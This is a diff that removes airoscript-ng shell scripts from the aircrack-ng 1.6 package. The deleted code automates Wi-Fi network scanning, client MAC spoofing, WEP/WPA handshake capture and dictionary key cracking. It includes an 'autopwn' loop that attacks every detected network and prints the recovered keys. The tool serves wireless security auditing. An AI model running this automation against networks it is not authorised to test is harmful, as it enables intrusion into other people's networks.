-        export wait_for_execute=1; AUTO=1; Crack_with_dictionary_generator autocrack
-    } || {
-        export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0;
-    }
-}
-
-count_aps(){ a=($(wc -l $DUMP_PATH/dump-02.csv)); echo ${a0}; } # benchmarks shows this is a little more efficent than using cut.
-
-autopwn_runner(){
-    autopwn setvars 1
-    autopwn scan && MAX_TARGETS=$(count_aps);
-
-    echo; tag; warn "${mark}Networks detected $MAX_TARGETS"; sleep 1
-
-    for i in `seq 1 $MAX_TARGETS`; do echo
-        autopwn selectap
-        if  "$Host_SSID" != "" ; then autopwn network;
-        else tag; warn "${mark}Couldn't find essid, trying with next network."; fi
-    done
-
-    autopwn print_cracked_networks
-}
-
-autopwn_print_cracked_networks(){
-     $DUMP_PATH/*.key  && {
-        tag; warn ${mark}"Cracked networks:"
-        for file in $DUMP_PATH/*.key; do
-            echo "\t${mark}$file : `cat $file`"
-        done
-    }
-}
-
-autopwn_finish(){
-    check_function doexit || source $path/internal/exit;
-     $options_autoconfigure  && {
-        configure; doexit killme;
-    } || {
-        read -p "Press c to configure, q to quit, n to next network and any key to get back to main menu" -s -n1 ans
-         "$ans" == "c"  && { configure; return 1; }
-    	 $ans == "n"  && return 0
-         $ans == "q"  && {
-            warn "${mark}Exiting..."
-            doexit killme ;
-		    exit; pkill -9 airoscript-ng; killall -9 airoscript-ng
-        }
-        return 1
-    }
-}
-
-autopwn_failed_cracking(){
-    warn "${mark}Network NOT cracked. Something failed."
-     "$Host_ENC" =~ (.*)WPA(.*)  && warn "${mark}Most probable cause is that network's key is not in the dictionary"
-}
-
-autopwn_network(){
-    autopwn setvars 2
-
-     "$Host_ENC" =~ (.*)WPA(.*)  && {
-		enc=wpa; attack_functions=${attack_functions_wpa@}; min_ivs=10;
-	} || {
-		enc=wep; attack_functions=${attack_functions_wep}
-	}
-
-    for i in ${attack_functions@}; do
-        tag; echo "${mark}Attack $count. Using $i in $Host_MAC"
-        { ${enc}_attacks $i & cleanp & get_min_ivs; } &> /dev/null
-
-         $enc == wpa  || {
-            tag; warn "${mark}Needed ivs: $min_ivs"
-        }
-
-        while  "1" ; do
-            sleep 5
-            autopwn finished && {
-                # We have enough ivs
-                echo; tag; warn "${mark}Trying to crack network, we have enough ivs or handshakes.";
-                autopwn crack && autopwn_print_crack_status
-                autopwn finish && break || { break; mainmenu; }
-             } || {
-                # We don't have enough ivs
-                autopwn print_capture_status && { echo; break; } || status=$?
-             }
-             $status == 20  && break
-        done
-         $status == 20  && { status=0; break; }
-        count=$(( $count + 1 ))
-    done
-
-    cleanautovars
-    clear=$oldclear;
-
-}
-
-autopwn_print_crack_status(){
-     -e $DUMP_PATH/$Host_MAC.key  && \
-        warn "${mark}Network cracked, password is `cat $DUMP_PATH/$Host_MAC.key`" || \
-        autopwn failed_cracking
-}
-
-autopwn_print_capture_status(){
-     "$Host_ENC" =~ (.*)WPA(.*)  && {
-        specialwarn "\r\t${mark}Current Handshakes: $handshakes. Press a to go to next attack, m for menu, for next network" ;
-    } || {
-        specialwarn "\r\t${mark}Current IVS: `check_all_ivs`. Press a to go to next attack, m for menu, n for next network"  ;
-    }
-    read -t1 -n1 -p" " ans
-
-     $ans == "m"  && { cleanautovars; $clear; mainmenu; ans="a"; }
-     $ans == "k"  && return 20
-     $ans == "a" 
-}
-check_all_ivs(){
-    while IFS=, read -a line; do
-         ${line0} == "${Host_MAC}"  && echo ${line10} ;
-    done < ${DUMP_PATH}/${Host_MAC}-01.csv;
-}
-
-get_min_ivs(){
-     "$Host_ENC" =~ (.*)WPA(.*)  && {  min_ivs=10; return; }
-
-    check_function Crack_with_dictionary_generator && {
-        Crack_with_dictionary_generator return_ivs; a=$?
-    } || {
-        a=255
-    }
-     "$a" == 255  && min_ivs=$autopwn_min_ivs || min_ivs=$a
-}
-
-get_handshake_number(){
-    while read -a line; do
-         ${line@} =~ (.*)handshake(.*)  && echo ${line-2/(/};
-    done < <( aircrack-ng ${DUMP_PATH}/${Host_MAC}-01.cap & sleep 0.5 && kill $! )
-}
-
-check_if_handshake(){
-    export handshakes=$(get_handshake_number);
-     $handshakes == ""  && handshakes=0
-    (( $handshakes > 0 )) && return 0 || return 1
-}
-
-autopwn_finished(){
-     "$Host_ENC" =~ (.*)WPA(.*)  && {
-        check_if_handshake && {
-            tag; warn "${mark}Got WPA handshake ($handshakes eapol packets)"
-            return 0
-        } || {
-            return 1;
-        }
-    } || {
-        get_min_ivs;
-        ivs=`check_all_ivs`;  $ivs == ""  && ivs=0;
-        (( $ivs > $min_ivs )) && return 0 || return 1
-    }
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/bashrc Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/completions Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/completions/_airodump_ng Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/crack Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/crack/main Deleted

@@ -1,99 +0,0 @@
-# Copyright (C)  2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-#This is crack function, for WEP encryption:
-crack_wep(){
-
-         if  "$AUTO" == 1 ; then
-            execute $'Cracking wep\n' "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap"
-            return
-        fi
-
-        while true; do
-             $1  && choice=$1 || mkmenu $"WEP Cracking Options" $"aircrack-ng defaults" $"aircrack-ng Korek" $"aircrack-ng interactive" $"Return to main menu"
-            case $choice in
-                1 ) execute $"Cracking wep, default options" crack "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-*.cap $crack_extra_opts $writekey"; $clear; break ;;
-                2 ) execute $"Cracking wep, Korek" crack "$AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-*.cap -K $crack_extra_opts $writekey" ; $clear; break ;;
-                3 ) single_question "Insert Fudge Factor: ";  FUDGE_FACTOR="$ans";
-                single_question $"Type encryption size (64,128...): "; ENC_SIZE="$ans";
-                execute $"Cracking wep, manual options" crack "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGE_FACTOR\
-                -n $ENC_SIZE -0 -s $DUMP_PATH/$Host_MAC-*.cap -l $DUMP_PATH/$Host_MAC.key $crack_extra_opts $writekey" &  $clear;
-                break ;;
-                4 ) break ;;
-            * ) echo $"Unknown response. Try again" ;;
-            esac
-        done
-}
-
-crack_wpa(){
-    while true; do
-         $1  && {
-            choice=$1
-        } || {
-            mkmenu $"WPA Cracking Options" \
-                $"Standard" \
-                $"Use precomputed pmk database" \
-                $"Return to main menu"
-        }
-
-        case $choice in
-            1)  if  $2 ; then
-                    execute $"Cracking WPA" crack "$AIRCRACK -a 2\
-                        -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap\
-                        -w $2 $writekey -l $DUMP_PATH/$Host_MAC.key"  ;
-                    $clear;
-                else
-                    if  ! -e $WORDLIST ; then
-                         $pipe  && {
-                            markwarn $"Cracking with stdin entered data by $pipe"
-                            execute $"Cracking WPA" crack "$pipe $AIRCRACK -a 2\
-                                -l $DUMP_PATH/$Host_MAC.key -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap \
-                                -w -"  ;
-                            $clear;
-                        } || {
-                            specialwarn $"Sorry, you cant crack wpa without a dictionary on $WORDLIST"; sleep 3;
-                        }
-                    else
-                        execute $"Cracking WPA" crack "$AIRCRACK -a 2\
-                            -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap\
-                            -w $WORDLIST $writekey -l $DUMP_PATH/$Host_MAC.key"  ;
-                        $clear;
-                    fi
-                fi
-                break
-                ;;
-            2)  $clear; read -p $"Enter Database location $db_location" db_location_;
-                 $db_location  && db_location=db_location_;
-                execute $"Cracking WPA with pmk database" crack "$pipe $AIRCRACK -b $Host_MAC -s -l $DUMP_PATH/$Host_MAC.key $DUMP_PATH/$Host_MAC-01.cap -r $db_location $writekey"; break;;
-            3 ) break ;;
-            * ) echo $"Unknown response. Try again" ;;
-        esac
-    done
-}
-
-selectcracking(){
-    if  "$Host_ENC" = "OPN"  ||  "$Host_ENC" = ""  ||  "$Host_ENC" = " OPN " ; then
-        $clear && error $"Network not encrypted or no network selected "
-    else
-        if  "$Host_ENC" = " WEP "  ||  "$Host_ENC" = "WEP" ; then crack_wep $@
-        else crack_wpa $@; fi
-    fi
-    check_function report_mode || source $path/reporting
-    report_mode # If cracking finished, will print out the key.
-     -e $DUMP_PATH/$Host_MAC.key  && {
-        key=`cat $DUMP_PATH/$Host_MAC.key`
-        info "${mark}Network key:\"${key}\""
-    }
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/interface Deleted

@@ -1,118 +0,0 @@
-# Interface library for airoscript.
-
-# Copyright (C) 2009-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-notify(){
-    tput sc
-    msg="${@}"; x=$(( $(tput cols) - ( ${#msg} + 20 ) ));
-    tput cup 0 $x
-    echo $msg;
-    tput rc
-    notification="";
-}
-
-_(){
-   gettext "${@}"
-}
-
-setps(){
-    $clear
-    if  "$1" != "" ; then PS3="$1";
-    else PS3=$'Input number: '; fi
-}
-
-default_theme(){
-    markwarn $'Theme file does not exists, using defaults...'
-    DUMPING_COLOR="#FFFFFF"; INJECTION_COLOR="#1DFF00"
-    ASSOCIATION_COLOR="#FF0009"; DEAUTH_COLOR="#99CCFF"; BACKGROUND_COLOR="#000000"
-}
-
-
-target(){
-help_fifo "${red}_______Target information______${end}\n"\
-"   AP SSID       = $Host_SSID\n"\
-"   AP MAC        = $Host_MAC\n"\
-"   AP Channel    =$Host_CHAN\n"\
-"   Client MAC    = $Client_MAC\n"\
-"   Fake MAC      = $FAKE_MAC\n"\
-"   AP Encryption =$Host_ENC\n"\
-"   AP Speed      =$Host_SPEED\n"\
-"________________________________"
-}
-
-fill_menu(){
-    len=$(( $1 - $2 )); for i in `seq 0 $len`; do echo -n "$3"; done;
-}
-
-fill(){
-    menu_w="$3"; separator="$2"; title="$1"; len_1=$((${#title} + 3))
-    half_len_1=$(( $len_1 / 2 )) ; loop_times=$(( $menu_w / 2 - $half_len_1 ))
-    fill_menu $loop_times 1 "$separator";echo -n "$title";fill_menu $loop_times 1 "$separator"
-}
-
-function mkbox(){
-     echo -n "+"; fill "$menu_t" "$separator_h" "$(( $max + ${#menu_t} ))" center;
-     echo "+"
-}
-
-temporary_switch_clear(){
-    temp="$oldclear"; oldclear=$clear; clear=$temp;
-    $@ ;
-    clear=$oldclear
-}
-
-airoscript_quiet(){
-    mkdir -p $DUMP_PATH/Terminals/ &>/dev/null
-    title=${1/ /_}; shift
-    $@ &> "$DUMP_PATH/Terminals/${title}" &
-}
-
-vline(){ for i in `seq 0 $1`; do echo -n ${separator_v}; done; }
-mkmenuheader(){ echo -en "\033$(($2 / 2 - (${#1} / 2 - 10) ))C$1\n"; }
-getmaxlenfromlist(){ max=0; for i in "${@}"; do  ${#i} -gt $max  && max=${#i}; done; echo $max; }
-mkmenueline(){ echo -en "           ${separator_v}\033${1}C${separator_v}\033${1}D${white}${2}${red})${end} ${separator_v}";}
-tabulate() { for i in $(seq 0 $1); do echo -n " "; done; }
-mkmenulines(){ max=$1; shift; for i in "${@}"; do line=$(( $line + 1 )); mkmenueline $max $line; echo -n " "; _ "${i}"; echo; done; }
-
-mkmenu(){
-    if  "$AUTO" == 2 ; then return; fi
-     ${ERRORS}  && markwarn "Error:" "${ERRORS@}"
-    ERRORS=""
-     ${INFOS}  && markwarn "Info:" "${INFOS@}"
-    INFOS=""
-    max=`getmaxlenfromlist "${@}"`
-    max=$(( $max + 10 ))
-    title=$1; shift; line=0;
-    tot=${#@}
-    f=$((`tput cols` - 10));
-    title=($(_ "${title}"))
-    tabulate 10
-    mkmenuheader "${title@}" $max
-    tabulate 10
-    echo -en "$separator_tl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_tr";
-    mkmenulines $max "${@}"
-     ${extra_menus${title/\//_}}  && mkmenulines ${extra_menus${title/\//_}};
-    tabulate 10
-    echo -en "$separator_bl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_br";
-
-    markwarn $"Select option:"
-    set -a choice
-    _read -a choice
-    (( $choice > $tot )) && { ${extra_menus$title/ /_}; echo "Ok, sorry, that was ${#@}"; }
-}
-
-
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/internal Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/internal/childs Deleted

@@ -1,39 +0,0 @@
-# Child management file used by airoscript
-# Copyright (C) 2010-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-
-get_childs(){
-    while read r; do
-         $r =~ (.*)$1(.*)  && {
-             $BASH_REMATCH1 != $2  && echo $BASH_REMATCH1;
-        }
-    done < <(ps -eo ppid,pid)
-}
-
-clean_processes(){
-    for i in /var/run/airoscript/*; do
-        i=$(basename $i);
-        kill -2 $i;
-        rm /var/run/airoscript/$i;
-    done;
-}
-
-save_pids(){
-    mkdir /var/run/airoscript 2>/dev/null
-    for i in `get_childs $1`; do touch "/var/run/airoscript/$i"; done
-}
-
-cleanp(){
-        sleep $autopwn_sleep && clean_processes
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/internal/exit Deleted

@@ -1,41 +0,0 @@
-# Exit and cleanup file used by airoscript
-# Copyright (C) 2010-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-
-delete_vinterfaces(){
-    while read interface; do
-         $interface =~ ^$MON_PREFIX(.*)\S*(.*)  && {
-            iw dev ${MON_PREFIX}${BASH_REMATCH1} del
-        }
-    done < <($AIRMON)
-}
-
-deconfigure(){ airmon-ng stop $wifi &> /dev/null ; delete_vinterfaces &>/dev/null; }
-delete_dpath(){  $DUMP_PATH =~ /tmp/(.*)  && rm -r $DUMP_PATH &>/dev/null;  }
-
-doexit(){
-        check_function make_report || source $path/reporting
-         -e $DUMP_PATH/$Host_MAC.key  && {
-            yesno "Create a full report?" && {
-                warn "${mark}Creating report"; make_report;
-                yesno "Copy report to ~?" && { cp -f $DUMP_PATH/$Host_MAC.png $DUMP_PATH/$Host_MAC.report.html $DUMP_PATH/$Host_MAC.report.pdf $HOME/ &>/dev/null; }
-            }
-        }
-
-         $keep_exit_quiet == 0  && {
-            yesno "Stop monitor mode on $wifi and delete virtual interfaces? (Y/n) " && { warn "${mark}Cleaning interface"; deconfigure; }
-            yesno 'Delete temporary data dir? (y/N) ' && { warn "${mark}Deleting $DUMP_PATH"; delete_dpath &>/dev/null; }
-        } || { deconfigure;  $delete_files_on_exit == 1  && delete_dpath &>/dev/null;  }
-         "$1" == "killme"  && pkill air $$ || exit # Needed because of autopwn
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/internal/scansel Deleted

@@ -1,97 +0,0 @@
-# Copyright (C)  2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-check_function auth_attacks_deauth || source $path/attacks/auth
-
-Scanchan(){
-    export SCAN=1; # TODO Create a mkinfobox function.
-    single_question ${mark}$"Enter channel (single, range, or comma-separated): "
-    channel_number="$ans"; set -- ${channel_number}
-    rm -rf $DUMP_PATH/dump* &>/dev/null; monmode $wifi $channel_number
-    execute $"Scanning for targets on channel $channel_number" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/dump --channel $channel_number --encrypt $ENCRYPT -a $wifi
-    export SCAN=0
-}
-
-select_target(){
-    if  "$AUTO" == 2 ; then return; fi
-    help_fifo $"${mark}${red}Select a client${end}\n"\
-        "At this step, you have to choose how to look for target clients\n"\
-        "Target clients will be used later, to make attacks directed at them\n"\
-        "This step is not obligatory, but might come handy if the network has some clients on it"\
-        "${red} If you're about to attack, attacks will be performed differently if you choose not to select a client (most of the times with a fake auth), so, don't worry if there are none ${end}"
-    while true; do
-        echo "Selecting client"
-
-            mkmenu $"Client Selection"\
-             $"Select client"\
-             $"Enable dynamic mode (ask for client in each attack)"\
-             $"Manually enter client MAC" "No select client"
-
-        case $choice in
-            1 ) auto_scan_clients; select_client; break;;
-            2 ) dynamic_client_selection=1; break;;
-            3 ) single_question $"Type in client mac now"; Client_MAC="$ans"; set -- ${Client_MAC} ; break ;;
-            4 ) Client_MAC=""; break ;;
-            * ) echo -e $"Unknown response. Try again";;
-        esac
-    done
-}
-
-auto_scan_clients(){
-    rm $DUMP_PATH/Client_$Host_MAC* &>/dev/null
-    launch_counter $time_to_scan "clients" &
-    INTERACTIVE=0; AUTO=2; QUIET=1; NOTITLE=1;
-    wait_for_execute=0
-    execute "" $AIRODUMP --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/Client_$Host_MAC -c $Host_CHAN -a $wifi
-    sleep $time_to_scan && killall -2 "airodump-ng";
-    export SCAN=0; AUTO=0; QUIET=""; NOTITLE=0
-}
-
-get_clients(){
-    rm $DUMP_PATH/Client_${Host_MAC}_all.csv
-    cat $DUMP_PATH/Client_${Host_MAC}*.csv > $DUMP_PATH/Client_${Host_MAC}_all.csv
-
-    while read line; do
-        IFS=',' read -a line_ <<< "$line"
-         ${line2} =~ ${Host_MAC}  &&  ${line1} != "00:00:00:00"  && echo ${line1}
-    done < $DUMP_PATH/Client_${Host_MAC}_all.csv
-
-    echo "None" "Rescan"
-}
-
-i_have_to_return() {
-    # TODO: Move this to internal
-    if  "$AUTO" == "1" ; then return 0; fi;
-    return 1;
-}
-
-select_client(){
-    i_have_to_return && return
-
-    while  "1" ; do
-        mkmenu $"Select client" $(get_clients)
-        (( $choice < $(( ${#HOST@} + 3 )) )) && break
-    done
-
-    IFS=, read -a elem <<< ${HOST$choice-1}; Client_MAC=${elem1};
-
-    (( $choice == $(( ${#HOST@} + 1 )) )) && { change_mac $wificard $FAKE_MAC; Client_MAC=""; directed=0; return; }
-    (( $choice == $(( ${#HOST@} + 2 )) )) && { auto_scan_clients; select_client; return; }
-    {
-        change_mac $wifi $Client_MAC
-        change_mac $iwifi $Client_MAC
-        change_mac $wificard $Client_MAC
-    } &>/dev/null
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/internal/startup Deleted

@@ -1,323 +0,0 @@
-# Copyright (C)  2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-check_cardctl(){
-    if  `uname -r|cut -d . -f 2` == "6" ; then CARDCTL="pccardctl"
-    else CARDCTL="cardctl"; fi
-}
-
-_askinterface(){
-        askinterface && checkforcemac $startup_mac_set
-}
-
-bsd_interfaces(){
-    for i in $( ifconfig | awk '/flags/ { print $1}'|cut -d: -f1 ); do { ifconfig $i | grep "wlan" &>/dev/null && echo $i ; }  ; done
-}
-
-linux_interfaces() {
-    while read r; do  $r =~ (.*)IEEE\ 802.11(.*)  && { iw=${BASH_REMATCH1};  $r =~ (.*)Mode:Monitor(.*)  || echo $iw; }; done < <(iwconfig 2>/dev/null)
-}
-
-all_interfaces() {
-    while read r; do  $r =~ (^0-9+)(.*):(.*):(.*)  && echo ${BASH_REMATCH3}; done < <(ip link 2>/dev/null)
-}
-
-setinterface(){
-    help_fifo "${mark} ${red}Welcome to airoscript-ng${end}, I'll be your guide from now on\n"\
-        "First, we have to setup a wireless interface to work with.\n" \
-        "Be careful, using this interface with airoscript-ng will disrupt any traffic going trough it." \
-        "If you're using it to connect to the internet, you'll be most likely disconnected "
-
-    declare -a INTERFACES
-      "$wifi" != ""  &&  "$1" == "start"  &&  "$set_wifi_by_args" == 1  || {
-        if  "$1" == ""  ||  "$1" == 1  ||  "$1" == "start"   ; then
-            if  "$show_only_wireless_extensions" == 1 ; then
-                 -e /bsd  && {
-                    INTERFACES=( $(bsd_interfaces) )
-                } || {
-                    INTERFACES=( $(linux_interfaces) )
-                }
-            else
-                INTERFACES=( $(all_interfaces) )
-            fi
-        fi
-        _askinterface
-         "$DEFAULT_MONITOR_MODE" == 1  &&{ ac="start"; } || {
-        single_question 'Should I put it in monitor mode? (Y/n) ';
-         "$ans" != n  && ac="start" || ac="stop"
-        }
-        { guess_idata $ac; testmac; } &>/dev/null
-     }
-     export iwifi=$wifi
-
-
-}
-
-askinterface(){
-     ${#INTERFACES@} == 1  && { warn "${mark}Only one capable wireless interface found. Selecting" ${INTERFACES0}; wificard=${INTERFACES0}; auto_fake_mac=1 return; }
-    mkmenu "Interface" ${INTERFACES@}
-    export wificard="${INTERFACES$choice - 1}"
-     $wificard == ""  && {
-        $clear
-        warn "${mark}Error: That interface does not exists"
-        askinterface
-    }
-}
-
-checkforcemac() {
-    if  "$force_mac_address" == "1" ; then $clear && warn "${mark}Warn: Not checking mac"
-    else
-        export mac=$(get_current_mac);
-        if  "$FAKE_MAC" != "$mac" ; then
-            wichchangemac_startup &>/dev/null;
-        fi
-    fi
-}
-
-guess_idata(){
-    declare -a monitorlines line
-    while read -a line; do
-         ${line@} =~ ^$wificard  && {
-            phy=${line-1};
-             ${line@} =~ "- ${phy}"  && {
-                monitorlines=("${line@}")
-                getNextLine=1
-            }
-        } || {
-             $getNextLine == 1  && {
-                export wifi=${line-1/)/}
-                getNextLine=0
-            }
-        }
-    done < <(airmon-ng start $wificard)
-
-    export iwifi=${wifi}
-    export fisical=${monitorlines-1}
-    export DRIVER=${monitorlines-3}
-    export TYPE=${monitorlines1}
-}
-
-wichchangemac_startup(){
-    change_mac $wificard $FAKE_MAC
-    change_mac $wifi $FAKE_MAC
-    change_mac $iwifi $FAKE_MAC
-}
-
-
-wichchangemac(){
-    while true; do
-          "$1" != ""  && { startup_mac_set=$1; choice=$1; } || {
-            mkmenu "Select MAC options" "Change MAC to FAKEMAC" "Change MAC to CLIENTMAC" "Use real MAC" "Manual Mac Input"
-        }
-        case $choice in
-            1) change_mac $wifi $FAKE_MAC; break ;;
-            2) change_mac $wifi $Client_MAC; break ;;
-            3)  export FAKE_MAC=$(get_current_mac);
-                change_mac $wifi $FAKE_MAC; break ;;
-            4) single_question "MAC: "; Manual_MAC="$ans";
-                change_mac $wifi $Manual_MAC; break ;;
-            *) echo $"Unknown response. Try again" ;;
-        esac
-    done
-}
-
-is_number(){ return $(expr "$1 + 1" &> /dev/null); }
-
-# Wrapper to make interface creation easier.
-selectap_wrapper(){
-    while  "1" ; do
-        mkmenueline $max r; echo " Rescan targets";
-        echo -en "$separator_bl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_br";
-        special_single_question "Select Target: ";
-        choice=$ans;
-        is_number $choice && break
-    done
-}
-
-valid_mac(){ (( ${#1} >= 17 )) && return 0 || return 1; }
-
-conn_crack(){
-    wpa_passphrase $Host_SSID $(cat $DUMP_PATH/digenpy__dic) | wpa_supplicant -i$wificard -c/dev/stdin -f $DUMP_PATH/wpa_sup.log
-    count=0;
-    while  1 ; do
-        grep "completed" $DUMP_PATH/wpa_sup.log && break
-        sleep 1
-        count=$(( count + 1 ))
-        (( $count > 15 )) && break;
-    done
-    pkill -9 -f wpa
-    grep "completed" $DUMP_PATH/wpa_sup.log && return 0
-    return 1
-}
-
-# Some various functions that didn't know where to put them
-
-sort_aircrack_csv() {
-    sort -t, -k+9 -n <(sed -n "/Key/,/Station/p" $FILE|head -n-2|tail -n+2)|tac
-}
-
-get_aps_in_file(){
-    sort -t, -k+9 -n <(sed -n "/Key/,/Station/p" $1|head -n-2|tail -n+2)| wc -l
-}
-
-selectAp(){
-    k=0; i=0;
-    DUMP_FILE=$DUMP_PATH/dump-02.csv
-     $2  && DUMP_FILE=${2}
-
-    if  "$AUTO" == 2 ; then
-        choice=$CURRENT
-        CURRENT=$(( $CURRENT + 1 ))
-    else
-        res=();
-        title=$1; shift; line=0;
-        max=$((`tput cols` - 10));
-        echo
-        mkmenuheader "Detected access points" $max
-        echo -en "$separator_tl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_tr";
-    fi
-
-    while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
-        $(valid_mac "$MAC") && {
-            k=$(($k+1))
-            if  "$AUTO" != 2  ; then
-                res+=( "$k" " $MAC " "$CHANNEL" "$PRIVACY" "$POWER" "$IDLENGTH" "$ESSID");
-                mkmenueline $max $k
-                echo -e " $MAC | $CHANNEL | $PRIVACY | $POWER | $IDLENGTH | $ESSID"
-            fi
-            aidlenght=$IDLENGTH
-            assid$k=$ESSID; achannel$k=$CHANNEL;
-            amac$k=$MAC; aprivacy$k=$PRIVACY;
-            aspeed$k=$SPEED; apower$k=$POWER
-        }
-    done < $DUMP_FILE
-
-    if  "$AUTO" != 2 ; then selectap_wrapper; fi
-    if  "$choice" != "r"  ; then
-         ${amac$choice}  || { echo "Wrong option, scanning for targets again"; autoscan; }
-        idlenght=${aidlenght$choice}
-        ssid=${assid$choice}
-        channel=${achannel$choice}
-        mac=${amac$choice}
-        privacy=${aprivacy$choice}
-        speed=${aspeed$choice}
-        Host_IDL=$idlength
-        Host_SPEED=$speed
-        Host_ENC=$privacy
-        Host_MAC=$mac
-        Host_CHAN=$channel
-        acouper=${#ssid}
-        fin=$(($acouper-idlength))
-        Host_SSID=${ssid:1:fin}
-        tag; echo "${mark}Target network is $Host_SSID $Host_MAC"
-    else autoscan; fi
-     $report_mode_enabled == 1  && report_mode
-}
-
-launch_counter(){
-    o=$2;  $o == ""  && o="targets"
-    for i in $( seq 1 $1 ); do
-        a=$(( ($i * 100) / $1 ))
-        sleep 1; echo -ne "\r${mark}Scanning for $o: $a/100 completed";
-    done
-    echo
-}
-
-autoscan(){
-    launch_counter $time_to_scan &
-    export OLDAUTO=$AUTO
-    OLDINTERACTIVE=$INTERACTIVE; F=0; export AUTO=1; export QUIET=1; export INTERACTIVE=0
-    menu_type "${1}" && sleep $time_to_scan && killall -2 "airodump-ng";
-    AUTO=$OLDAUTO
-     $AUTO != 2  && select_ap
-    cleanautovars
-}
-
-Scan(){
-    help_fifo "${mark}${red}Scanning${end}\nWe're scanning for near networks \n"\
-        "You'll be asked to select one of them, ${red}they're ordered according to their signal strenght${end}"\
-        "The strongest is the lastest, your network should be near the end"
-    export SCAN=1
-    rm -rf $DUMP_PATH/dump* &>/dev/null
-     $SILENT_SCAN != 1  && {
-        markwarn $"Interface used is" ": $wifi ($iwifi) for $wificard "
-        markwarn $"Interface type is" ": $TYPE ($DRIVER)"
-    }
-     ! $1  && { export QUIET=1; export NOTITLE=1; }
